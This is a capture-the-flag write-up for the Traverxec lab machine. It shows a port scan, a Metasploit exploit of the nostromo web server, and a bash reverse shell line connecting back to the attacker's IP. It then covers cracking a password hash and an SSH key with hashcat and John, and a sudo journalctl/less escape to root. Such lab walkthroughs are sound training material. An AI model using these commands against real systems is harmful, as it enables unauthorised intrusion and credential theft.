

# Traverxec WriteUp

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# User

This machine was pretty straightforward, I did the foothold in less of 5 minutes.

So let's start, first enumerate some ports:

```
nmap -sVC 10.10.10.165 -oN travexec -vv
```

We can see only 2 open ports: 22 (tcp/ssh) and 80 (tcp/http), but in the http we can see that the webserver is nostromo 1.96.

```
Nmap scan report for travexec (10.10.10.165)
Host is up, received syn-ack (0.14s latency).
Scanned at 2019-12-07 14:10:33 WET for 490s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
|_ ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|_ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDDVMo6eEhBK0190wd6sVIAFVCJjQqSL4g16oI/DoFwUo+ubJyyIeTRagQNE91YdCrENXF2qBs2yFj2fqfRZy9iqGB09V0Zt6i8oa1pb
mFwkBDtCdHoIAZbaZFKAL+m1UBell2v0xUhAy37Wl9BjoUU3EQBVFSQJNQqvb/mSqHsi5TAJcMtCpWKA4So3pwZcTatSu5x/RyDKzZo9fWSS6hj04/hdJ4BM6eyKQxa29vL/ea1PvcHPY5
EDTRX5RtraV9HAT7w2zIZH5W6i3BQvMGecKrrvVTZ6Ge3Gjx00ORLBdoVyyQeXQzIJ/vuDujOH2G6E/AHDsw3n5yFNMKeCvNNL
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBLpsS/IDFr0gxOgk9GkAT0G4vhnRdtvoL8iem2q8yoRcatUIib1nkp5ViHvLEgL6e3An
zUJGFLI3TFz+CInilq4=
|   256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (EdDSA)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGJ16OMR0bxc/4SAEl1yiyEUXC3i/dFH7ftncU7+P+3s
80/tcp    open  http      syn-ack nostromo 1.9.6
|_ http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_ http-methods:
|   Supported Methods: GET HEAD POST
|_ http-server-header: nostromo 1.9.6
|_ http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 7 14:18:43 2019 -- 1 IP address (1 host up) scanned in 490.61 seconds
```

Ok, first thing to do search it on exploitdb:

```
searchsploit -t "nostromo"
```

Only show to exploits one for 1.9.3 so it's not for us and other is a directory transversal RCE which has a module on metasploit.

First of all let's start the metasploit db:

```
msfdb start
```

Now we run msfconsole:

```
msfconsole
```

Inside of metasploit search for nostromo:

*search nostromo*

Copy the module path and:

*use module/path/here*

Check what you need to run exploit:

*options*

Fill the options:

*set rhosts 10.10.10.165*

*set lhost YOUR\_IP*

*set payload cmd/unix/reverse\_python*

Exploit it:

*exploit*

You will see that a shell session was open in a certain index ( should be 1 first time) and wait a bit until you see a new line (ENTER). Now you have a shell as www-data user. I will make a reverse shell using bash (copied in [pentestmonkey](#)):

Open another terminal tab and type:

*nc -lvp 1234*

Back to the metasploit shell:

*bash -i >& /dev/tcp/YOUR\_IP/1234 0>&1*

The first local where I checked was /var and I found a folder called **nostromo** and inside of it we have a folder **conf** with **.htpasswd** file where we have a hash for david user. You can run LinEnum.sh to get that interesting file.

Take the hash save it on a file and crack it with hashcat ( if you have problems with hashcat detecting the hash remove “david:\$1\$” and keep the rest )

***hashcat -m 500 rockyou.txt hash\_file.hash***

Yeah, my first attempt was try login with david in ssh but nothing.

So I digg on the nostromo files and I see that david is the admin and the public folder (public\_www) was inside the home folder (/home) and probably inside of /home/david. So if you try this:

***cd /home/david/public\_www/***

inside of it you have a folder protected-file-area and inside of it a backup-ssh-files.tgz file. Now I tried to open a python http server to download the file to my host but not worked. So I search on the nostromo manual and we can access the home folder via browser just like this:

<http://10.10.10.165/~david/>

And we are inside now just add the: protected-file-area to the link. And put your credentials on the fields (the user david and the password that you have cracked). Finally click to download.

If we unpack the .tgz file we get the ssh keys, we need the id\_rsa key, crack it and use it to log with david. John will do the job, but first we need to use a script to convert that ssh key to a hash that john undersand. So let's use ssh2john.py:

***ssh2john.py id\_rsa id\_rsa.hash***

Now pass the file with the hash to john:

***john -wordlist=rockyou.txt id\_rsa.hash***

Should crack it fast, now just login passing the id\_rsa file and when ask for the password write the cracked password:

***ssh -i id\_rsa [david@traverxec.htb](mailto:david@traverxec.htb)***

Note: I used `traverxec.htb` as an IP/Domain because I had it to the `/etc/hosts` file.

You got user ! Now let's get the root flag.

## Root

First thing you see in your home is a folder called `bin/` and inside of it will be a script that when it runs show us some logs using the `journalctl` service. You can see the command is run under `sudo` so it has root privileges when runs. So let's see if GTFO Bins has something about `journalctl` and `sudo` ... It has!

If you run the script:

```
./server-stats11.sh
```

You will see that `less` open up and you can read some stuff, now try to write this inside `less` (like showed in the GTFO Bins):

```
!/bin/sh
```

Root shell! Just cat the flag:

```
cat /root/root.txt
```

## My Opinion

This box it's pretty easy and straightforward but we always learn something new so it's important to do all the machines. Here we apply a CVE and crack some hashes where I use `hashcat` and `John`, finally `privesc` simple but important to look because these small details are important when we are pentesting in the real world.

## **Social Media**

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